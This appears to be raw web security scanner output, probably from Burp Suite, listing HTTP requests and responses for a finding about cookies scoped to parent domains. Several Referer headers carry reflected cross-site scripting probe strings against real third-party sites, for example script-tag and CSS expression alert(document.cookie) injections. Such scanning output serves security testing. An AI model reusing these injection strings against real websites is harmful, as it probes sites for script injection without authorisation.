HTTP/1.1 200 OK X-Cnection: close X-Powered-By: PHP/5.2.1 P3P: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA Content-Type: application/x-javascript Set-Cookie: myPAL=eJxtzDELwjAQhuH%252Fklsz3KXXnHeZKqEgmIKSwdWxs6P4302K7eT28fHwPo3tvRqmlwUxRxwVVJWAkAEjQm2jtCe4tBp1FjuT8ccEAZEaE9xVOGKH%252BhcbGuONnbAz9hoEWSAM49bM07X4fFuqz5dl9vfy8NO5uvT5AjLyKFk%253D; expires=Sun, 20-Mar-2011 17:54:38 GMT; path=/; domain=.exelator.com Set-Cookie: BFF=eJyVkL0OwiAURt%252BFJ%252BCvxQtLa4yRpGBUYnRqOjo7mr67UNQgwuDCcL5zw73fJAmWj3t4kSOYmw4AKFI3SbholA%252BYRGZv3W64jmd90g6pSZK2NtOCn2lePEFfLksCCFzg%252FFsecUK8uOmHZZ5HvMJRDDghQTxYVxI9zkRttyXR44SE5Y%252Fm0hG%252FuqBJwBZeMIEKzEUW9Gv3G7CFf8BcrurdQKmqSjGVGipHV0%252F896L5CWF7jv0%253D; expires=Thu, 19-May-2011 17:54:38 GMT; path=/; domain=.exelator.com Set-Cookie: TFF=eJyNkDEOwjAMRe%252FSE9hOUmN36TFYM2RAYoOt6t1xKiiQEuEhshW9Z%252BcnKyZdboqkA0KcYYRZRGiYspIuF8XJTuRkBbZ2lGk98Fj50PBkJzQe75rPsArRP7ucyzXfSzP7BE%252FjZwqGGQD%252FpLb2yHdTY%252BPxrvkMqwzO2fVNFFIvw5YdXm3l45tHkcDU%252By1sze9N0e19bBRiiOw1eRd9ht2F5CLXB0IDwOU%253D; expires=Thu, 19-May-2011 17:54:38 GMT; path=/; domain=.exelator.com Set-Cookie: EVX=deleted; expires=Tue, 19-Jan-2010 17:54:37 GMT; path=/; domain=load.exelator.com Set-Cookie: EVX=deleted; expires=Tue, 19-Jan-2010 17:54:37 GMT; path=/; domain=loadus.exelator.com Set-Cookie: EVX=eJxLtDK0qs60sjQyNzAxt06E8Aysi60MLayUDE0sDOLN442MTeMNDAzjjeMNlaxrawFa8Q1j; expires=Thu, 19-May-2011 17:54:38 GMT; path=/; domain=.exelator.com Date: Wed, 19 Jan 2011 17:54:38 GMT Server: HTTP server Content-Length: 1256
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DC/Washington/Legal+Financial+Services/Law+Firms/All+Law+Firms/x22 HTTP/1.1 Host: local.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Wed, 19 Jan 2011 15:23:53 GMT Set-Cookie: B=cm7m4g16je0g9&b=3&s=2g; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://local.yahoo.com/results?csz=Washington+DC&stx=Legal+Financial+Services+Law+Firms+All+Law+Firms+x22 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 82
<!-- web13.ls.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:23:53 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DC/Washington/Legal+Financial+Services/Law+Firms/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CIQBEOkFKAE\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;usg\\x3dAFQjCNG2bd7egW32iYLbNt8WJiZjokM9cg\\x22\\x3eLaw HTTP/1.1 Host: local.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Wed, 19 Jan 2011 15:23:53 GMT Set-Cookie: B=c7hhevt6je0g9&b=3&s=dt; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://local.yahoo.com/results?csz=Washington+DC&stx=Legal+Financial+Services+Law+Firms+x26amp%3Brct%5C%5Cx3dj%5C%5Cx26amp%3Bsa%5C%5Cx3dX%5C%5Cx26amp%3Bei%5C%5Cx3dX_42TZfgHsqs8AagyvTEAw%5C%5Cx26amp%3Bsqi%5C%5Cx3d2%5C%5Cx26amp%3Bved%5C%5Cx3d0CIQBEOkFKAE%5C%5Cx26amp%3Bq%5C%5Cx3dwashington+dc+law+offices%5C%5Cx26amp%3Busg%5C%5Cx3dAFQjCNG2bd7egW32iYLbNt8WJiZjokM9cg%5C%5Cx22%5C%5Cx3eLaw Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 81
<!-- web1.ls.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:23:53 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DC/Washington/Legal+Financial+Services/x26amp HTTP/1.1 Host: local.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Wed, 19 Jan 2011 15:23:55 GMT Set-Cookie: B=a4e6fs56je0gb&b=3&s=4v; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://local.yahoo.com/results?csz=Washington+DC&stx=Legal+Financial+Services+x26amp Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 81
<!-- web2.ls.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:23:55 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /config/login HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:20 GMT Set-Cookie: B=5u97cop6jea6g&b=3&s=jo; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 41558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sign in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /g.lt?nvst=12596&nvtt=z&nvup=1 HTTP/1.1 Host: lt.navegg.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Set-Cookie: ltcid=547362597; path=/; domain=.navegg.com; expires=Wed, 19-Jan-2013 11:57:37 GMT Set-Cookie: inf= ; path=/; domain=.navegg.com; expires=Wed, 19-Jan-2011 15:57:37 GMT Content-type: application/javascript Date: Wed, 19 Jan 2011 17:57:37 GMT Server: lighttpd/1.4.19 Content-Length: 43
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
lsd=FZCCx; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /logout.php?confirm=1&r= HTTP/1.1 Host: m.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://m.facebook.com/index.php?eu=6sinbSawgdrtjUBFpZJRIA P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=FZCCx; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 18:09:29 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps/place HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|269B81578514AD15-60000169A0247D25[CE]; Expires=Mon, 18 Jan 2016 15:26:39 GMT; Domain=.yellowpages.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi=[CS]v1|269B8437051D2078-6000010B20054392[CE]; Expires=Mon, 18 Jan 2016 15:51:10 GMT; Domain=.csmonitor.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/vault.com/index/1784840526@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=index&NI_parentIndustryId=28&NI_parentIndustryId=10 HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:35:23 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: OAX=rcHW8003BLsABpSl; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.247realmedia.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2525 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/index/L-15/1539380947/Bottom/Vault20/Orrick_V ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /engine?site=123082;size=1x1;category=Directory;kw=Directory+Texas HTTP/1.1 Host: pbid.pro-market.net Proxy-Connection: keep-alive Referer: http://www.usdirectory.com/nypr.aspx?tbid=1&afid=1993&cc=54111051004ab29';alert(document.cookie)//2894fafc0c6&qs=TX&ct=&rg=&qhqn=&cr=3209505169 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anProfile=-dov6gi+0+rs=c+1j=57:1+1f=d
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" ANServer: app2.ny Set-Cookie: anProfile=3ka4gl+0+s0=(i)+1q=3q+h=5m+1o=e7+1m=1+rv=(-5)+rt='ADC1D6F3'+rs=c+1f=d+4=2m1; Domain=.pro-market.net; Expires=Sat, 13-Aug-2011 15:38:20 GMT; Path=/ Pragma: no-cache Cache-Control: no-cache Expires: Mon, 1 Jan 1990 0:0:0 GMT Content-Type: text/html Vary: Accept-Encoding Date: Wed, 19 Jan 2011 15:38:20 GMT Connection: close
<html><body rightmargin=0 leftmargin=0 topmargin=0 bottommargin=0><!-- Location or keyword not matched.kw=directory+directory+texas,Category=0 --></body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /lh/view HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Expires: Wed, 19 Jan 2011 15:25:18 GMT Date: Wed, 19 Jan 2011 15:25:18 GMT Cache-Control: private, max-age=0, must-revalidate Set-Cookie: _rtok=IcQW8D0ISdlP; Path=/; HttpOnly Set-Cookie: S=photos_html=eDkEZMr7hrb8YgUbXSiE8g; Domain=.google.com; Path=/; HttpOnly Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"></meta> <title>404 NOT_FOUND</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /D08734/a1/0/0/0.gif?D=DM_LOC%3Dhttp%253A%252F%252Fgoogle.com%252F0.gif%253Fid%253DCAESEFlfd-sZ8CX6_Cz86QSvO_0&cver=1 HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; udm_0=MLv3NVPpKSpj3p3uht7FyYbjN10zcmhKlYGgrukmLuVU97bs7miUcEYhUoOEQoW6hq+QzluB96P8Tutq8Gx/9mt2RRtWTTDFMPnlXOlgYExrUWbzd6XsS3YDB9n8sEO7rJWMBAqM62rPEc1V/be727XdvCMrTAr9wCWxHSaoTomecJyXQpHihffMuEVRzw8h3OxDNuVJgjD7Ih9Ly8ngvXt2rt4SmNQxGHu6UbQFB9GchtzgDx3nIlBpeezAjFRoVM/vHBxUmvtH+1bbl1Fl4ZdnrmM5b1W59yZWpmuOnSSf2k8PLj3aIydPWaqBjSCH4kLnkkd3V9G4pc1/iB+wt5HJPWxDEtpBQKliPLyOJqSHo3GZg11SnpmwXl2EB62oOwnJfXRIG68qmghWJ1ubkNZO3R4IUrINcOdCEzftiZjz6BFLEjMtt/bWMBlAXwgUgztsoo2ReD/q2/z4a41kA0Ypr8hKYa5H4msA1vfs8KMUJI39rh63+qDIG2f7MA7byhF9bF8U8P3xPeIB9DYWg6UQ/TE2BPMUNqktnd2vc2dilAmnnt9dcZ38/Q0Cyzd7bFlqzPGdqxg5MzrB4+r6J8c5Q0sZ/FB9HiflUF+cbGnLI6nnK2Uc9cyirS/6Md3KUSQ9eMlES7QuYhvG9NQMPPFPEgeFZVaJzY2Z3FyVapNr93Ni+GtlNI57fSPs+pJWw/lFgUYqf4s9/eIB9m3CKZDLWKxdGYeWDmGFQAfUIDoKUvXwnyf9wrwJoT/ZmJjMt9jNm1+QrjX0vap9RkKG/ygD/eKI9TYoaK5Y/J79Ulj12hC7mVVyE3wjhR0e9GaRiyqRhbuEG3Z2Ib5J8zbDEd4LC6/1dthK3LavDLQy0A5z3p/krZoaCL1QKiV9JDBOBn4j8npeNRYQzTnQhiiv9rOapvQUNE/nUhaxuRqyT9YwXp0DiJuezLHxHOAtqsBAvJ7lll2Zm7ClWHDEew07dWhx+WXkK3XEm1YAxR/7f9yvpGkXfWY1x6RuGiP7tA==; rsi_us_1000000=pUMd5U+DfxIU7WxyXcrXePyshmL9qnycX9zb1nGBmx1V/jUVnfeldtQjUT/l9QEvuRA3QBA8Si99k9w0tzkcnzco6PEsDBDvy8d4mY8+5HZS0vDThyEYovFg0RSTcWdd5u8ZLvCmIrL4UCfpY/4L/CqrSvJCILJ1d3GZZY8xL4FE3tHR+wk8QhtzsK6CjvVfUfYAsMiJxD1Swa5MdzflySt7JaSZIPI/xOXJjGiHDa1pifHkTxTBnRG6xH+UvNOxNNGcpRK5dfBfHXqwMYaiwTTegzvXkn1AHqNkQ8GkIGXd6lFLTY6Gsow41j4IEHXPdjt/Aq5n38nCwuLkhd+RMWvpb2lwq3vhoK0qH0OLD7WDgyUcDTSgHXFgoIaTzuq4W5bHAKuZHGGL3ZP9iClrM49hCWtsijtqCZRKvMFL0WrYdeEiqLuuWhu7p8ZRZKB2xdDB75ykboN/YRnA/OXtQFdb1ljzYHwQf/Q654LJFtsdK/b1MVhjUsekLkRDh0Ura+RaQgZymGRxqHGTwV0mI8kKlYPDFQOSN4atuJ9QrAqeeSSuv23axRMTzUFDLLJvqqGCDlX9oefOvqBTtt0F/hfRzJVeonQsKJYCQDJW3kEjiqME80GbU8dSiTksQQidz0JUIJbUhbxtFTJLhyWPkvRyWkmAhjCQC0UFmEKxzWXIwnrd3/pwp2eYvBfMZ3AgrrFVBlzZmhWlG7A5zmSVP0xb82DkIwXjDDr9yYHSnRGMyBi7n2+eSxz7bXFEdPlpY6yVxmaHdtYsUjF2/hTslkfyXMX1/xCVazRLA6r0KZnIe/FyS2WsBMwCEeoeD5FejhI=; rsi_segs_1000000=pUPFOUmFbxIUVoVdtstSL5KI3a4MU3gyBRZlLmUjQ2DIK2cIAt/jBTBpLVW9VhPgC8BiGwlGGQKHsSz3iD5v+sybgQpEeUUYHaxm/DWpnGGAPjPpSx+4Hn8gnMuMfuY850Yv4M30nuT3TegK17tckQQ8gGRvH8yl9SBNExUB96k1S1rNIiEZXlCSaW8vbDdz/GMxj2DBf2ToqH421bbvPYZj1vO58X9tr/wvWwbdIEtdyv0+mstZbRg=; rtc_0=MLsvs1cucS5r5hBE3bu6yym0KA0Cy8LPfQEmNj/RSJlndawJcCE4XS02dKluNaBcZlRiSbcC6N1ghvMtbE5tBBmMSZiKGsOToLzsbBM3dhG6AJtwenjSQv5BZV55VC1/rvMQjBaR2n4r87rMPeIfrxkGoUPvVWRKMO4/yPc7aCI+4ifw20M1tY/HHaMbPTs4/jHWoTS9S5lBnH6PhRRabtCFfpx8Rq2Wgzjo7CLBSTdIvupGk1EMV4gvII0HHh+3B5UHkRDVcyowJZpmnvckId2HO80OVL0i6SA5tf/BGuHLmGL60+iIm5rTtTDLogsODhIXaVMjEWScL9J9qwHo1B/DDwcr8AFdiDehRPGur3edc0qL1bFSkU0Qdc8TujIQ+lg9+VYRrQbeN4eAGLYj5F5j8FbZPs6bQHPRuQZnxdfQ0D17CDq/2FHD1Z1yErIh44pt5S3MrkHojHqqeeHQ
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPNeUnF7gMUllNab/ezT+71VQYEkTQCYSwjFU01BIg4++Le2nO24JTIAUVJwi+jnJcyKYakbf/S0gDDnsrxzP6Q8bccW7inYhxIEReYssGkPk3TX6r/UnEo6AvqKbvYFPGE/CbX5eU4uZjj/PmQvxNVjyMJNK0w2iycTJ1btAJMtqRdr9SeGPXC86v28ysKpcPGxQ0Mg51oPtSRjqalHk7hDgQl43jPhNdiT5pmQLJ4qlaKX9vD; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:42 GMT; Path=/ Set-Cookie: udm_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: udm_0=MLv39VEJqSpn597EftLIOCfrv8grZUvvIY/k4BjsKS4lA+CxzDcafWhL5npd0Kzl34KW/Z6cmK3bUe06AcZ1bw8yaFFCE2flczAt/AB0ATjup7Ktcyti4wVQFxEHZai8j4sSgZ6clD1XkhVpGey1Z7yA5AlpdGVyOs5xwaReRk+k4BczXPYhzNAkA4XKep+XhEKvwePPg/yXRaFZOLjUWb7kTdH8XcvmfQYFt1fXyDUCTVBH3KzfSq7YgBBnnS3tJ/usAHg3qConywSlDJpNLbhbLmBh4NtEbRMqoVoGeP0HzuwHXuqd1Lc2z6tmqgND/uu4n6mc5ANCH3CN2zqj4fEgEbB1FrYKMrDQj7xFTDDtNqj8d3PyMmTWF96q8JL30haZ7fvWETdpgnWxpchXmiED+JyalvUADF/U5KNYYjWYIbPCjNfTYCB3TA1oqMHBfsoSsb4ugIYZUFW0/6iPhgHZ3tzfHSA8Hh23w8kMt33bIQIB27DmUlGfmtr59Mg/xAeqYAazxRjEo9ZYV99As4Dqjgo1pM6bzRbWjM10cQFPiDkBYwhjhUYMB/MLeFJp4vRUWM9wjq//85KUCXj+PRO7EOFkcoeGw+0rRHzD8solfik+y6VpnGYzR2+d79y2h67kpiE/IHlqxnCEZa3ogGfF2vdzKgFnOZ0XzW031EmJupOZStX8vTE8I+hzZWaR8jkl+tdSQ9CGcgd5YPu1VEoCMoXPO6EDth3d3568TKyG8MjtgVE31ClY7o8jrqqoPw6snJis7NEQzd7f29+rJz7wvxELJIzv/3KxhPhvw0xcgEj48MNFnLL0KKUnJxdfEfFNvMmx7WlKl+T45eNld3OpKrj31fiPPh8u8F7/uV3Z//asYIQqMLT6LE7UlPJRZhBcSuQErvrF1zPJz/+fiJic8YeDWae6MwyksX2C1boyKdTLgBpEv5nKt5crAI6XL4WEhDgao6pBSX2sQeQEn5B+kXISaBDOCgd1KURnj7iNDEjh49j1KxBJhp4IDd0pHc+Wi4JbeCEhy5oddenb3rYFUInY1kW7CsHjz52BXjuKgVblZkxIUDFxHwsTi4yiV6LmOYnO/VYQcecXwtk=; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:42 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Wed, 19 Jan 2011 17:54:41 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /K08784/b3/0/3/1003161/700404383.js?D=DM_LOC%3Dhttp%253A%252F%252Fwww.local.com%252Fresults.aspx%253Fkeyword%253Dlaw%252Boffices%2526CID%253D2531%252Fx22b7005%252522style%25253d%252522x%25253aexpression(alert(document.cookie))%252522e433a090613%2526pid%253DLocal%2526category%253DAttorneys%252520%252526%252520Lawyers%25253A%252520General%252520Practice%2526_rsiL%253D0%26DM_REF%3Dhttp%253A%252F%252Fburp%252Fshow%252F36%26DM_EOM%3D1&C=K08784 HTTP/1.1 Host: pix04.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; 